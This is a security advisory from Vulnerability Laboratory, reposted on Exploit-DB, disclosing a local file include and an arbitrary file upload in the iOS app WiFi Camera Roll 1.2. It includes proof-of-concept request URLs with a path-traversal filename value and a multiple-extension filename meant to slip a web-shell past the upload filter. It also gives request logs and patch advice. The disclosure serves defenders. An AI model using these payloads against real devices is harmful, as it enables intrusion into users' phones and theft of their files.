WiFi Camera Roll 1.2 iOS - Multiple Vulnerabilities

EDB-ID:

31573

CVE:





Platform:

iOS

Date:

2014-02-11


Document Title:
===============
WiFi Camera Roll v1.2 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1192


Release Date:
=============
2014-02-08


Vulnerability Laboratory ID (VL-ID):
====================================
1192


Common Vulnerability Scoring System:
====================================
7.9


Product & Service Introduction:
===============================
Download or upload photos/videos via WiFi! It is a easy way to wirelessly access your photos/videos in camera roll on devices. 
It only needs a web browser and not depends on any other transfer utilities. Just start the app and input the address into the 
address bar of your browser, you can browser the photos/videos in camera roll on your device. What`s more, you can upload 
photos/videos and it will help you save them into camera roll automatically.

- You can browser the photos in camera roll on device
- Download photos in full-size with EXIF metadata
- Upload the specified format images into camera roll
- Optional password protection for the web interface
- One app compatible for both iPhone and iPad
- Support major browsers e.g. Safari, Chrome, IE, etc.
- A web browser is enough and not depends on flash, java, etc.
- [NEW] Download unmodified HD quality video
- [NEW] Upload specified format videos directly into your camera roll
- [NEW] View photo gallery in web browser

I`m always keeping this app concise and easy to use. It is just a bridge to connect your iPhone/iPad and computer. All photos and 
videos are saved in your system album and your computer. So it is safe and won`t lost even if you accidentally delete this app.

(Copy of the Homepage: https://itunes.apple.com/ch/app/wifi-camera-roll/id576954110 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the official WiFi Camera Roll v1.2 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-02-08:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apple AppStore
Product: WiFi Camera Roll (iOS) - Application 1.2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file/path include web vulnerability has been discovered in the official WiFi Camera Roll v1.2 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system 
specific path commands to compromise the web-application or mobile device.

The local file include web vulnerability is located in the vulnerable `qqfile` name value of the `upload files` module (web-interface).
Remote attackers are able to inject own files with malicious filename to compromise the mobile application. The attack vector is 
persistent and the request method is POST. The local file/path include execute occcurs in the main file index section after the refresh 
of the file upload. The security risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability 
scoring system) count of 7.8(+)|(-)7.9.

Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account with password. 
Successful exploitation of the local web vulnerability results in mobile application or connected device component compromise by unauthorized 
local file include web attacks.

Request Method(s):
				[+] [POST]

Vulnerable Input(s):
				[+] Upload Files

Vulnerable Parameter(s):
				[+] filename > qqfile

Affected Module(s):
				[+] Access from Computer (File Dir Index List - Folder/Category to  path=/)


1.2
An arbitrary file upload web vulnerability has been discovered in the official WiFi Camera Roll v1.2 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.

The vulnerability is located in the `upload file` (video and images) module. Remote attackers are able to upload a php or js web-shells by renaming 
the file with multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name 
and extension `image.gif.jpg.html.js.aspx.jpg`. After the upload the attacker needs to open the file in the web application. He deletes the .jpg & 
.gif file extension and can access the application with elevated access rights. The security risk of the arbitrary file upload web vulnerability is 
estimated as high with a cvss (common vulnerability scoring system) count of 6.4(+)|(-)6.5.

Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.


Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload (GUI)

Vulnerable Parameter(s):
				[+] filename > qqfile (multiple extensions)

Affected Module(s):
				[+] File Dir Upload Ajax (http://localhost:8880/upload.ajax?qqfile=)


Proof of Concept (PoC):
=======================
The arbitrary file upload and local file include web vulnerability can be exploited by remote attackers without user interaction or privileged web user account.
For security demonstration or to reproduce the remote vulnerabilities follow the provided information and steps below.

1.1
PoC: File Include Vulnerability
http://localhost:8880/upload.ajax?qqfile=%20../\../\[LOCAL FILE/PATH INCLUDE VULNERABILITY!].jpg

1.2
PoC: Arbitrary File Upload
http://localhost:8880/upload.ajax?qqfile=5d476cebd60705.gif.jpg.html.js.aspx.jpg


--- PoC 1.1 Session Logs [POST] ---
Status: pending[]
POST http://localhost:8880/upload.ajax?qqfile=[LOCAL FILE/PATH INCLUDE VULNERABILITY!].jpg Load Flags[LOAD_BYPASS_CACHE  ] Gr��e des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[localhost:8880]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      X-File-Name[8f11a581d505d476cebd607056e4c167621c2e61.jpg]
      Cache-Control[no-cache]
      Content-Type[application/octet-stream]
      X-Mime-Type[image/jpeg]
      Referer[http://localhost:8880/upload.html]
      Content-Length[24386]
   POST-Daten:
      POST_DATA[����


--- PoC 1.2 Session Logs [POST] ---
Status: pending[]
POST http://localhost:8880/upload.ajax?qqfile=5d476cebd60705.gif.jpg.html.js.aspx.jpg Load Flags[LOAD_BYPASS_CACHE  ] Gr��e des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[localhost:8880]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      X-File-Name[8f11a581d505d476cebd607056e4c167621c2e61.jpg]
      Cache-Control[no-cache]
      Content-Type[application/octet-stream]
      X-Mime-Type[image/jpeg]
      Referer[http://localhost:8880/upload.html]
      Content-Length[24386]
   POST-Daten:
      POST_DATA[����

Reference(s):
http://localhost:8880/
http://localhost:8880/upload.html
http://localhost:8880/upload.ajax?qqfile=


Solution - Fix & Patch:
=======================
1.1
The local file include vulnerability can be patched by a secure parse and encode of the vulnerable filename and qqfile values in the affected upload POST method request.

1.2
The arbitrary file upload vulnerability can be parsed by restriction and secure filter validation mechanism to prevent uploads of data with multiple file extensions.  


Security Risk:
==============
1.1
The security risk fo the local file include web vulnerability in the qqfile and filename values are estimated as high.

1.2
The security risk of the arbitrary file upload web vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - admin@evolution-sec.com
Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright � 2014 | Vulnerability Laboratory [Evolution Security]

-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com